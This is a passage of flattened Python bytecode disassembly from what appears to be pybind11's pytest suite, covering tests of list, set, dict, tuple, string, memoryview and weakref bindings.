at 0x7faad43c0420, file "f.py", line 411> LOAD_CONST 'test_accessor_moves' MAKE_FUNCTION STORE_NAME test_accessor_moves LOAD_CONST <code object test_constructors at 0x7faad43c0b70, file "f.py", line 419> LOAD_CONST 'test_constructors' MAKE_FUNCTION STORE_NAME test_constructors LOAD_CONST <code object test_non_converting_constructors at 0x7faad43c0930, file "f.py", line 454> LOAD_CONST 'test_non_converting_constructors' MAKE_FUNCTION STORE_NAME test_non_converting_constructors LOAD_CONST <code object test_pybind11_str_raw_str at 0x7faad43c0660, file "f.py", line 471> LOAD_CONST 'test_pybind11_str_raw_str' MAKE_FUNCTION STORE_NAME test_pybind11_str_raw_str LOAD_CONST <code object test_implicit_casting at 0x7faad43c0540, file "f.py", line 508> LOAD_CONST 'test_implicit_casting' MAKE_FUNCTION STORE_NAME test_implicit_casting LOAD_CONST <code object test_print at 0x7faad43c0300, file "f.py", line 528> LOAD_CONST 'test_print' MAKE_FUNCTION STORE_NAME test_print LOAD_CONST <code object test_hash at 0x7faac027c0c0, file "f.py", line 553> LOAD_CONST 'test_hash' MAKE_FUNCTION STORE_NAME test_hash LOAD_CONST <code object test_number_protocol at 0x7faac027c150, file "f.py", line 569> LOAD_CONST 'test_number_protocol' MAKE_FUNCTION STORE_NAME test_number_protocol LOAD_CONST <code object test_list_slicing at 0x7faac027c1e0, file "f.py", line 591> LOAD_CONST 'test_list_slicing' MAKE_FUNCTION STORE_NAME test_list_slicing LOAD_CONST <code object test_issue2361 at 0x7faac027c270, file "f.py", line 596> LOAD_CONST 'test_issue2361' MAKE_FUNCTION STORE_NAME test_issue2361 LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('method', 'args', 'fmt', 'expected_view') LOAD_NAME m LOAD_ATTR test_memoryview_object LOAD_CONST (b'red',) LOAD_CONST 'B' LOAD_CONST b'red' BUILD_TUPLE LOAD_NAME m LOAD_ATTR test_memoryview_buffer_info LOAD_CONST (b'green',) LOAD_CONST 'B' LOAD_CONST b'green' BUILD_TUPLE LOAD_NAME m LOAD_ATTR test_memoryview_from_buffer LOAD_CONST (False,) LOAD_CONST 'h' LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 4 LOAD_CONST 1 LOAD_CONST 5 BUILD_LIST BUILD_TUPLE LOAD_NAME m LOAD_ATTR test_memoryview_from_buffer LOAD_CONST (True,) LOAD_CONST 'H' LOAD_CONST 2 LOAD_CONST 7 LOAD_CONST 1 LOAD_CONST 8 BUILD_LIST BUILD_TUPLE LOAD_NAME m LOAD_ATTR test_memoryview_from_buffer_nativeformat LOAD_CONST () LOAD_CONST '@i' LOAD_CONST 4 LOAD_CONST 7 LOAD_CONST 5 BUILD_LIST BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_memoryview at 0x7faac027c300, file "f.py", line 604> LOAD_CONST 'test_memoryview' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_memoryview LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR xfail LOAD_CONST 'env.PYPY' LOAD_CONST 'getrefcount is not available' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'method' LOAD_NAME m LOAD_ATTR test_memoryview_object LOAD_NAME m LOAD_ATTR test_memoryview_buffer_info BUILD_LIST CALL_METHOD LOAD_CONST <code object test_memoryview_refcount at 0x7faac027c390, file "f.py", line 621> LOAD_CONST 'test_memoryview_refcount' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_memoryview_refcount LOAD_CONST <code object test_memoryview_from_buffer_empty_shape at 0x7faac027c420, file "f.py", line 638> LOAD_CONST 'test_memoryview_from_buffer_empty_shape' MAKE_FUNCTION STORE_NAME test_memoryview_from_buffer_empty_shape LOAD_CONST <code object test_test_memoryview_from_buffer_invalid_strides at 0x7faac027c4b0, file "f.py", line 645> LOAD_CONST 'test_test_memoryview_from_buffer_invalid_strides' MAKE_FUNCTION STORE_NAME test_test_memoryview_from_buffer_invalid_strides LOAD_CONST <code object test_test_memoryview_from_buffer_nullptr at 0x7faac027c540, file "f.py", line 650> LOAD_CONST 'test_test_memoryview_from_buffer_nullptr' MAKE_FUNCTION STORE_NAME test_test_memoryview_from_buffer_nullptr LOAD_CONST <code object test_memoryview_from_memory at 0x7faac027c5d0, file "f.py", line 655> LOAD_CONST 'test_memoryview_from_memory' MAKE_FUNCTION STORE_NAME test_memoryview_from_memory LOAD_CONST <code object test_builtin_functions at 0x7faac027c780, file "f.py", line 662> LOAD_CONST 'test_builtin_functions' MAKE_FUNCTION STORE_NAME test_builtin_functions LOAD_CONST <code object test_isinstance_string_types at 0x7faac027c810, file "f.py", line 672> LOAD_CONST 'test_isinstance_string_types' MAKE_FUNCTION STORE_NAME test_isinstance_string_types LOAD_CONST <code object test_pass_bytes_or_unicode_to_string_types at 0x7faac027c930, file "f.py", line 683> LOAD_CONST 'test_pass_bytes_or_unicode_to_string_types' MAKE_FUNCTION STORE_NAME test_pass_bytes_or_unicode_to_string_types LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('create_weakref', 'create_weakref_with_callback') LOAD_NAME m LOAD_ATTR weakref_from_handle LOAD_NAME m LOAD_ATTR weakref_from_handle_and_function BUILD_TUPLE LOAD_NAME m LOAD_ATTR weakref_from_object LOAD_NAME m LOAD_ATTR weakref_from_object_and_function BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_weakref at 0x7faac027ca50, file "f.py", line 706> LOAD_CONST 'test_weakref' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_weakref LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('create_weakref', 'has_callback') LOAD_NAME m LOAD_ATTR weakref_from_handle LOAD_CONST False BUILD_TUPLE LOAD_NAME m LOAD_ATTR weakref_from_object LOAD_CONST False BUILD_TUPLE LOAD_NAME m LOAD_ATTR weakref_from_handle_and_function LOAD_CONST True BUILD_TUPLE LOAD_NAME m LOAD_ATTR weakref_from_object_and_function LOAD_CONST True BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_weakref_err at 0x7faac027cc00, file "f.py", line 740> LOAD_CONST 'test_weakref_err' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_weakref_err LOAD_CONST <code object test_cpp_iterators at 0x7faac027cc90, file "f.py", line 761> LOAD_CONST 'test_cpp_iterators' MAKE_FUNCTION STORE_NAME test_cpp_iterators LOAD_CONST <code object test_implementation_details at 0x7faac027cdb0, file "f.py", line 767> LOAD_CONST 'test_implementation_details' MAKE_FUNCTION STORE_NAME test_implementation_details LOAD_CONST <code object test_external_float_ at 0x7faac027cd20, file "f.py", line 788> LOAD_CONST 'test_external_float_' MAKE_FUNCTION STORE_NAME test_external_float_ LOAD_CONST <code object test_tuple_rvalue_getter at 0x7faac027ce40, file "f.py", line 793> LOAD_CONST 'test_tuple_rvalue_getter' MAKE_FUNCTION STORE_NAME test_tuple_rvalue_getter LOAD_CONST <code object test_list_rvalue_getter at 0x7faac027ced0, file "f.py", line 799> LOAD_CONST 'test_list_rvalue_getter' MAKE_FUNCTION STORE_NAME test_list_rvalue_getter LOAD_CONST <code object test_populate_dict_rvalue at 0x7fab41711030, file "f.py", line 805> LOAD_CONST 'test_populate_dict_rvalue' MAKE_FUNCTION STORE_NAME test_populate_dict_rvalue LOAD_CONST <code object test_populate_obj_str_attrs at 0x7fab41711390, file "f.py", line 811> LOAD_CONST 'test_populate_obj_str_attrs' MAKE_FUNCTION STORE_NAME test_populate_obj_str_attrs LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST ('foo', 'bar') LOAD_CONST (1, 2) LOAD_CONST (1.0, 2.0) LOAD_NAME list LOAD_NAME range LOAD_CONST 3 CALL_FUNCTION CALL_FUNCTION LOAD_NAME list LOAD_NAME range LOAD_CONST 3 LOAD_CONST 6 CALL_FUNCTION CALL_FUNCTION BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_append at 0x7fab41711420, file "f.py", line 820> LOAD_CONST 'test_inplace_append' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_append LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (3, 2) LOAD_CONST (3.0, 2.0) LOAD_NAME set LOAD_NAME range LOAD_CONST 3 CALL_FUNCTION CALL_FUNCTION LOAD_NAME set LOAD_NAME range LOAD_CONST 2 CALL_FUNCTION CALL_FUNCTION BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_subtract at 0x7fab417114b0, file "f.py", line 829> LOAD_CONST 'test_inplace_subtract' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_subtract LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (3, 2) LOAD_CONST (3.0, 2.0) LOAD_CONST 1 BUILD_LIST LOAD_CONST 3 BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_multiply at 0x7fab41711540, file "f.py", line 837> LOAD_CONST 'test_inplace_multiply' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_multiply LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (6, 3) LOAD_CONST (6.0, 3.0) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_divide at 0x7fab417115d0, file "f.py", line 843> LOAD_CONST 'test_inplace_divide' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_divide LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (False, True) LOAD_NAME set CALL_FUNCTION LOAD_CONST 1 BUILD_SET BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_or at 0x7fab41711660, file "f.py", line 849> LOAD_CONST 'test_inplace_or' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_or LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (True, False) LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_SET LOAD_CONST 1 BUILD_SET BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_and at 0x7fab417116f0, file "f.py", line 866> LOAD_CONST 'test_inplace_and' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_and LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (8, 1) LOAD_CONST (-3, 2) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_lshift at 0x7fab41711780, file "f.py", line 883> LOAD_CONST 'test_inplace_lshift' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_lshift LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (8, 1) LOAD_CONST (-2, 2) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_rshift at 0x7fab41711810, file "f.py", line 889> LOAD_CONST 'test_inplace_rshift' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_rshift LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD obj_class_name LOAD_CONST None CALL_METHOD LOAD_CONST 'NoneType' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD obj_class_name LOAD_GLOBAL list CALL_METHOD LOAD_CONST 'list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD obj_class_name BUILD_LIST CALL_METHOD LOAD_CONST 'list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD handle_from_move_only_type_with_operator_PyObject_ncnst CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD handle_from_move_only_type_with_operator_PyObject_const CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_bool CALL_FUNCTION LOAD_CONST 'get_bool() -> bool' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_int CALL_FUNCTION LOAD_CONST 'get_int() -> int' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_iterator CALL_FUNCTION LOAD_CONST 'get_iterator() -> Iterator' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL iter LOAD_GLOBAL range LOAD_CONST 10 CALL_FUNCTION CALL_FUNCTION STORE_FAST my_iter LOAD_FAST from_iter_func LOAD_FAST my_iter CALL_FUNCTION STORE_FAST s LOAD_GLOBAL type LOAD_FAST s CALL_FUNCTION LOAD_FAST pytype COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_FAST pytype LOAD_GLOBAL range LOAD_CONST 10 CALL_FUNCTION CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_iterable CALL_FUNCTION LOAD_CONST 'get_iterable() -> Iterable' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_float CALL_FUNCTION LOAD_CONST 'get_float() -> float' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD list_no_args CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_ssize_t CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_size_t CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST STORE_FAST lins LOAD_GLOBAL m LOAD_METHOD list_insert_ssize_t LOAD_FAST lins CALL_METHOD POP_TOP LOAD_FAST lins LOAD_CONST 1 LOAD_CONST 83 LOAD_CONST 2 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_insert_size_t LOAD_FAST lins CALL_METHOD POP_TOP LOAD_FAST lins LOAD_CONST 1 LOAD_CONST 83 LOAD_CONST 2 LOAD_CONST 57 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 170 POP_TOP LOAD_GLOBAL m LOAD_METHOD get_list CALL_METHOD STORE_FAST lst LOAD_FAST lst LOAD_CONST 'inserted-0' LOAD_CONST 'overwritten' LOAD_CONST 'inserted-2' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_METHOD append LOAD_CONST 'value2' CALL_METHOD POP_TOP LOAD_GLOBAL m LOAD_METHOD print_list LOAD_FAST lst CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n Entry at position 0: value\n list item 0: inserted-0\n list item 1: overwritten\n list item 2: inserted-2\n list item 3: value2\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_list CALL_FUNCTION LOAD_CONST 'get_list() -> list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR print_list CALL_FUNCTION LOAD_CONST 'print_list(arg0: list) -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_none CALL_FUNCTION LOAD_CONST 'get_none() -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR print_none CALL_FUNCTION LOAD_CONST 'print_none(arg0: None) -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_set CALL_METHOD STORE_FAST s LOAD_GLOBAL isinstance LOAD_FAST s LOAD_GLOBAL set CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_CONST 'key1' LOAD_CONST 'key2' LOAD_CONST 'key3' BUILD_SET COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD add LOAD_CONST 'key4' CALL_METHOD POP_TOP LOAD_FAST capture SETUP_WITH to 70 POP_TOP LOAD_GLOBAL m LOAD_METHOD print_anyset LOAD_FAST s CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n key: key1\n key: key2\n key: key3\n key: key4\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD set_add LOAD_FAST s LOAD_CONST 'key5' CALL_METHOD POP_TOP LOAD_GLOBAL m LOAD_METHOD anyset_size LOAD_FAST s CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD set_clear LOAD_FAST s CALL_METHOD POP_TOP LOAD_GLOBAL m LOAD_METHOD anyset_empty LOAD_FAST s CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_GLOBAL set CALL_FUNCTION LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_CONST 42 BUILD_SET LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_CONST 'foo' BUILD_SET LOAD_CONST 'foo' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_set CALL_FUNCTION LOAD_CONST 'get_set() -> set' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR print_anyset CALL_FUNCTION LOAD_CONST 'print_anyset(arg0: anyset) -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_frozenset CALL_METHOD STORE_FAST s LOAD_GLOBAL isinstance LOAD_FAST s LOAD_GLOBAL frozenset CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_GLOBAL frozenset LOAD_CONST 'key1' LOAD_CONST 'key2' LOAD_CONST 'key3' BUILD_SET CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 64 POP_TOP LOAD_GLOBAL m LOAD_METHOD print_anyset LOAD_FAST s CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n key: key1\n key: key2\n key: key3\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_size LOAD_FAST s CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_empty LOAD_FAST s CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_GLOBAL frozenset CALL_FUNCTION LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_GLOBAL frozenset LOAD_CONST 42 BUILD_SET CALL_FUNCTION LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_GLOBAL frozenset LOAD_CONST 'foo' BUILD_SET CALL_FUNCTION LOAD_CONST 'foo' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_frozenset CALL_FUNCTION LOAD_CONST 'get_frozenset() -> frozenset' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_dict CALL_METHOD STORE_FAST d LOAD_FAST d LOAD_CONST 'key' LOAD_CONST 'value' BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 52 POP_TOP LOAD_CONST 'value2' LOAD_FAST d LOAD_CONST 'key2' STORE_SUBSCR LOAD_GLOBAL m LOAD_METHOD print_dict LOAD_FAST d CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n key: key, value=value\n key: key2, value=value2\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_contains BUILD_MAP LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_contains LOAD_CONST 42 LOAD_CONST None BUILD_MAP LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_contains LOAD_CONST 'foo' LOAD_CONST None BUILD_MAP LOAD_CONST 'foo' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_dict CALL_FUNCTION LOAD_CONST 'get_dict() -> dict' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR print_dict CALL_FUNCTION LOAD_CONST 'print_dict(arg0: dict) -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_keyword_constructor CALL_METHOD LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST ('x', 'y', 'z') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CustomContains' STORE_NAME __qualname__ LOAD_CONST 'key' LOAD_CONST None BUILD_MAP STORE_NAME d LOAD_CONST <code object __contains__ at 0x7faac0274420, file "f.py", line 180> LOAD_CONST 'CustomContains.__contains__' MAKE_FUNCTION STORE_NAME __contains__ LOAD_CONST None RETURN_VALUE LOAD_FAST m LOAD_FAST self LOAD_ATTR d COMPARE_OP in RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object Unhashable at 0x7faac0274b70, file "f.py", line 194> LOAD_CONST 'Unhashable' MAKE_FUNCTION LOAD_CONST 'Unhashable' CALL_FUNCTION STORE_FAST Unhashable LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 42 STORE_FAST exc_info LOAD_FAST func LOAD_FAST arg LOAD_FAST Unhashable CALL_FUNCTION CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'unhashable type:' LOAD_GLOBAL str LOAD_FAST exc_info LOAD_ATTR value CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_unhashable_exceptions.<locals>.Unhashable' STORE_NAME __qualname__ LOAD_CONST None STORE_NAME __hash__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD tuple_no_args CALL_METHOD LOAD_CONST () COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_ssize_t CALL_METHOD LOAD_CONST () COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_size_t CALL_METHOD LOAD_CONST () COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD get_tuple CALL_METHOD LOAD_CONST (42, None, 'spam') COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_simple_namespace CALL_METHOD STORE_FAST ns LOAD_FAST ns LOAD_ATTR attr LOAD_CONST 42 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ns LOAD_ATTR x LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ns LOAD_ATTR right LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL hasattr LOAD_FAST ns LOAD_CONST 'wrong' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD str_from_char_ssize_t CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'red' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_char_size_t CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'blue' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_string CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'baz' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_bytes CALL_METHOD LOAD_METHOD encode CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'boo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR str_from_bytes CALL_FUNCTION LOAD_CONST 'str_from_bytes() -> str' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_BUILD_CLASS LOAD_CONST <code object A at 0x7faa75c44c00, file "f.py", line 225> LOAD_CONST 'A' MAKE_FUNCTION 